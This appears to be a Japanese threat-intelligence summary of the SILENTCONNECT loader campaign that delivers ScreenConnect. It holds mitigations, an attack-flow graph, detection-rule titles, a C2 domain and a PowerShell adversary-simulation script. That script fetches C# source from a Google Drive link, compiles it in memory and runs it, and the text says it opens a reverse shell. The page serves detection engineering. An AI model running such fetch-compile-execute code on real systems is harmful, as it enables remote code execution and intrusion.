招待から感染へ:SILENTCONNECTがScreenConnectを配信する方法
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、SILENTCONNECTという多段ローダーを概説しています。これはVBScriptドロッパー、メモリ内でのC#コードのPowerShellコンパイル、そしてPEBマスカレードを使用して、ConnectWise ScreenConnectリモート管理ツールを静かに展開します。この攻撃は、フィッシングメールで始まり、被害者をCloudflare Turnstile CAPTCHAページに誘導した後、VBScriptペイロードを提供します。そのスクリプトはGoogle DriveからC#コンポーネントを取得し、メモリ内でコンパイルし、次に悪意のあるドメインからScreenConnect MSIをダウンロードしてWindowsサービスとして永続化を確立します。このキャンペーンは、信頼できるホスティングサービスとランドバイナリを使用して検出の足跡を減らします。
調査
Elastic Security Labsは、最終的にCloudflare R2でホストされているE-INVITE.vbsファイルを露呈させた一連の異常なWindowsスクリプトアラートを特定しました。分析により、PowerShellコマンドがcurl.exeを呼び出し、Google DriveからC#ソースファイルをフェッチし、それをメモリ内で直接コンパイルして実行していたことが示されました。ローダーはNtAllocateVirtualMemoryを使用して実行可能メモリを予約し、PEBを偽装し、Windows Defenderの除外を挿入した後、curlでScreenConnectインストーラーをダウンロードし、msiexecで実行しました。ネットワークテレメトリーは、展開されたクライアントがbumptobabeco.topのC2エンドポイントにTCPポート8041経由で到達していたことを示しました。
緩和策
セキュリティチームは、curl.exeを呼び出す不審なPowerShellコマンドライン、C:Temp以下に作成される一時フォルダー、およびダウンロードされたC#ソースコードの異常なAdd-Typeコンパイルに注意を払うべきです。また、プロセスのBaseDLLNameまたはFullDllNameの値が実際のモジュールパスと一致しないPEB偽装も検出ロジックで考慮する必要があります。MSIインストーラーをホストする見慣れないドメインへのアウトバウンドトラフィックは、ブロックされるか厳重に精査されるべきであり、信頼されていないソースのためのmsiexecの実行は厳格に管理されるべきです。Windows Defenderの除外は、公認された管理ワークフローを通じてのみ適用されるべきです。
対応
これらの兆候が観察された場合は、直ちに影響を受けたホストを隔離し、悪意のあるプロセスを停止し、インストールされたScreenConnectサービスを削除します。一時ファイル、コンパイルされた.NETアセンブリ、ドロップされたMSIパッケージを含む法医学的証拠を収集します。無許可のWindows Defenderの除外を元に戻し、変更された場合はUAC設定を復元します。そして、環境全体で一致するローダーのアーティファクトを探し、新たに特定されたすべてのIOCを使用して検出コンテンツを更新します。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% ノード action_phishing["<b>アクション</b> – <b>テクニック</b>: T1566 フィッシング<br/><b>説明</b>: スピアフィッシングメールが悪意のあるコンテンツを送信します。"] class action_phishing action action_user_click["<b>アクション</b> – ユーザーがCloudflare Turnstileページへの悪意のあるリンクをクリックします。"] class action_user_click action malware_vbscript["<b>マルウェア</b> – VBScriptファイル<br/><b>テクニック</b>: T1059.005 Visual Basic<br/><b>説明</b>: さらにコードを起動するためにVisual Basicスクリプトを実行します。"] class malware_vbscript malware tool_powershell["<b>ツール</b> – PowerShell<br/><b>テクニック</b>: T1059.001 PowerShell<br/><b>説明</b>: システム制御のためにPowerShellコマンドを実行します。"] class tool_powershell tool tool_curl["<b>ツール</b> – Curl<br/><b>テクニック</b>: T1570 ラテラルツールトランスファー<br/><b>説明</b>: リモートストレージ(Google Drive)からファイルを取得します。"] class tool_curl tool malware_compile["<b>マルウェア</b> – メモリ内C#コンパイル<br/><b>テクニック</b>: T1027.004 配信後のコンパイル<br/><b>説明</b>: C#ソースをメモリ内で直接コンパイルします。"] class malware_compile malware process_injection["<b>プロセス</b> – NtAllocateVirtualMemory<br/><b>テクニック</b>: T1055.002 プロセスインジェクション<br/><b>説明</b>: ペイロードを注入するためにターゲットプロセスにメモリを確保します。"] class process_injection process malware_peb["<b>マルウェア</b> – PEB マスカレード<br/><b>テクニック</b>: T1036.011 マスカレード<br/><b>説明</b>: BaseDLLNameを上書きしてwinhlp32.exeと見せかけます。"] class malware_peb malware tool_cmstp["<b>ツール</b> – CMSTP<br/><b>テクニック</b>: T1218.003 システムバイナリプロキシ実行 CMSTP<br/><b>説明</b>: CMSTP COMインターフェイスを使用してUACを回避します。"] class tool_cmstp tool action_defender_exclusion["<b>アクション</b> – <b>テクニック</b>: T1564.012 ファイルパス除外<br/><b>説明</b>: 悪意のある実行ファイルのためにMicrosoft Defender除外を追加します。"] class action_defender_exclusion action tool_screenconnect_msi["<b>ツール</b> – ScreenConnect MSI<br/><b>テクニック</b>: T1570 ラテラルツールトランスファー<br/><b>説明</b>: リモート管理インストーラーをダウンロードします。"] class tool_screenconnect_msi tool tool_msiexec["<b>ツール</b> – Msiexec<br/><b>テクニック</b>: T1547.010 ブートログオン自動起動実行ポートモニタ<br/><b>説明</b>: ScreenConnectサービスをサイレントインストールします。"] class tool_msiexec tool malware_screenconnect["<b>マルウェア</b> – ScreenConnect サービス<br/><b>テクニック</b>: T1219 リモートアクセスツール<br/><b>説明</b>: システムに常駐し、コマンドアンドコントロールに接続します。"] class malware_screenconnect malware %% 接続 action_phishing –>|leads_to| action_user_click action_user_click –>|downloads| malware_vbscript malware_vbscript –>|launches| tool_powershell tool_powershell –>|uses| tool_curl tool_curl –>|fetches source for| malware_compile malware_compile –>|loads into| process_injection process_injection –>|enables| malware_peb malware_peb –>|enables| tool_cmstp tool_cmstp –>|triggers| action_defender_exclusion action_defender_exclusion –>|downloads| tool_screenconnect_msi tool_screenconnect_msi –>|installs via| tool_msiexec tool_msiexec –>|creates| malware_screenconnect "
攻撃フロー
検出
可能性のあるGoogle Driveフィッシング(プロキシ経由)
表示
第三者サービス/ツールを介したデータの流入/流出/C2の可能性(dns経由)
表示
Lolbinを含む可能性のあるPowershellスクリプト(powershell経由)
表示
可能性のあるLOLBASチェーン(cmdline経由)
表示
シェルプロセスからのMsiExecの生成(cmdline経由)
表示
ファイル拡張子をTLDとして用いたフィッシングによる初回アクセスの可能性(dns経由)
表示
リモートアクセスソフトウェアドメイン通信試行によるコマンド&コントロールアクティビティの可能性(dns経由)
表示
疑わしいプロセスによるGoogle Driveドメインの解決(dns_query経由)
表示
異常なトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンド&コントロール(dns経由)
表示
疑わしいCURLの使用(cmdline経由)
表示
珍しいディレクトリでファイルを実行する可能性のあるMsiexec(cmdline経由)
表示
IOCs(HashSha256)の検出:招待から感染まで:SILENTCONNECTがScreenConnectを配信する方法
表示
IOCs(メール)の検出:招待から感染まで:SILENTCONNECTがScreenConnectを配信する方法
表示
IOCs(SourceIP)の検出:招待から感染まで:SILENTCONNECTがScreenConnectを配信する方法
表示
IOCs(DestinationIP)の検出:招待から感染まで:SILENTCONNECTがScreenConnectを配信する方法
表示
C#ペイロードのダウンロードと実行による疑わしいPowerShellの実行【Windows Powershell】
表示
SILENTCONNECT ScreenConnectインストーラのダウンロードおよび実行の検出【Windowsプロセス作成】
表示
シミュレーションの実行
前提条件:テレメトリーとベースラインの事前チェックが完了している必要があります。
根拠:このセクションは、検出ルールを起動するために設計された敵の技術(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃の説明 & コマンド:
- 初期の偵察とペイロードの取得 – 攻撃者はGoogle Driveに悪意のあるC#ソースファイルをホストしています。PowerShellを使用して、生ファイルを以下の方法でダウンロードしています。
Invoke-WebRequest. - メモリ内コンパイル – ダウンロードされたC#ソースはメモリ内で以下のコマンドにより直接コンパイルされます
Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src. - 実行 – 結果として得られた.NETタイプがインスタンス化され、その
Run()メソッドが呼び出され、リバースシェルを確立します。 - 隠蔽 – コマンドラインは以下のオプションで起動され
-ExecutionPolicy Bypassポリシーブロックを回避し、ルールが監視する文字列と一致します。
- 初期の偵察とペイロードの取得 – 攻撃者はGoogle Driveに悪意のあるC#ソースファイルをホストしています。PowerShellを使用して、生ファイルを以下の方法でダウンロードしています。
-
回帰テストスクリプト:
# ------------------------------------------------- # 擬似敵スクリプト - Sigmaルールをトリガー # ------------------------------------------------- # 1. リモートC#ペイロードURL(Google Driveシェアリンク)を定義 $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID" # 2. C#ソースを変数にダウンロード $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content # 3. メモリ内でペイロードをコンパイルおよびロード Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp # 4. ペイロードを実行(クラス名が"Payload"で静的メソッド"Run"があることを仮定) # ------------------------------------------------- -
クリーンアップコマンド:
# 一時ファイルを削除(作成されていません)し、メモリ内アセンブリをアンロード # PowerShellは直接的なアンロードを提供していません;必要に応じてプロセスを停止します Stop-Process -Id $PID -Force